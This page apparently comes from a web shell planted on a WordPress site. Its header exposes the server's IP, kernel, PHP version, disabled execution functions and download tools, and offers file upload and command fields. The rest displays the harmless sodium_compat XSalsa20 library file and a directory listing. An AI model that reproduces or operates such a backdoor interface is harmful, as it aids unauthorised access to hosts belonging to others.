Server IP : 149.255.58.128 / Your IP : 216.73.216.220
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Upload Files :
Command :
Current File : /home/wheelch2/public_html/wp-includes/sodium_compat/src/Core32//XSalsa20.php
<?php
if (class_exists('ParagonIE_Sodium_Core32_XSalsa20', false)) {
return;
}
/**
* Class ParagonIE_Sodium_Core32_XSalsa20
*/
abstract class ParagonIE_Sodium_Core32_XSalsa20 extends ParagonIE_Sodium_Core32_HSalsa20
{
/**
* Expand a key and nonce into an xsalsa20 keystream.
*
* @internal You should not use this directly from another application
*
* @param int $len
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function xsalsa20($len, $nonce, $key)
{
$ret = self::salsa20(
$len,
self::substr($nonce, 16, 8),
self::hsalsa20($nonce, $key)
);
return $ret;
}
/**
* Encrypt a string with XSalsa20. Doesn't provide integrity.
*
* @internal You should not use this directly from another application
*
* @param string $message
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function xsalsa20_xor($message, $nonce, $key)
{
return self::xorStrings(
$message,
self::xsalsa20(
self::strlen($message),
$nonce,
$key
)
);
}
}
Name |
Size |
Last Modified |
Owner / Group |
Permissions |
Options |
.. | -- | March 06 2020 21:43:31 | 1032 / wheelch2 | 0755 | |
ChaCha20 | -- | June 27 2023 17:05:14 | 1032 / wheelch2 | 0755 | |
Curve25519 | -- | June 27 2023 17:05:33 | 1032 / wheelch2 | 0755 | |
Poly1305 | -- | June 27 2023 17:06:37 | 1032 / wheelch2 | 0755 | |
SecretStream | -- | March 06 2020 21:43:31 | 1032 / wheelch2 | 0755 | |
| | | | | |
BLAKE2b.php | 21.801 KB | May 25 2021 18:25:58 | 1032 / wheelch2 | 0644 | |
ChaCha20.php | 14.171 KB | March 21 2019 10:26:52 | 1032 / wheelch2 | 0644 | |
Curve25519.php | 129.857 KB | March 24 2022 20:50:08 | 1032 / wheelch2 | 0644 | |
Ed25519.php | 15.366 KB | September 14 2022 04:43:14 | 1032 / wheelch2 | 0644 | |
HChaCha20.php | 5.173 KB | March 21 2019 10:26:52 | 1032 / wheelch2 | 0644 | |
HSalsa20.php | 6.778 KB | March 21 2019 10:26:52 | 1032 / wheelch2 | 0644 | |
Int32.php | 24.004 KB | March 24 2022 20:50:08 | 1032 / wheelch2 | 0644 | |
Int64.php | 30.441 KB | March 24 2022 20:50:08 | 1032 / wheelch2 | 0644 | |
Poly1305.php | 1.549 KB | March 21 2019 10:26:52 | 1032 / wheelch2 | 0644 | |
Salsa20.php | 11.236 KB | March 21 2019 10:26:52 | 1032 / wheelch2 | 0644 | |
SipHash.php | 6.458 KB | March 21 2019 10:26:52 | 1032 / wheelch2 | 0644 | |
Util.php | 0.204 KB | March 21 2019 10:26:52 | 1032 / wheelch2 | 0644 | |
X25519.php | 10.783 KB | December 09 2019 22:12:04 | 1032 / wheelch2 | 0644 | |
XChaCha20.php | 2.396 KB | March 24 2022 20:50:08 | 1032 / wheelch2 | 0644 | |
XSalsa20.php | 1.347 KB | March 21 2019 10:26:52 | 1032 / wheelch2 | 0644 | |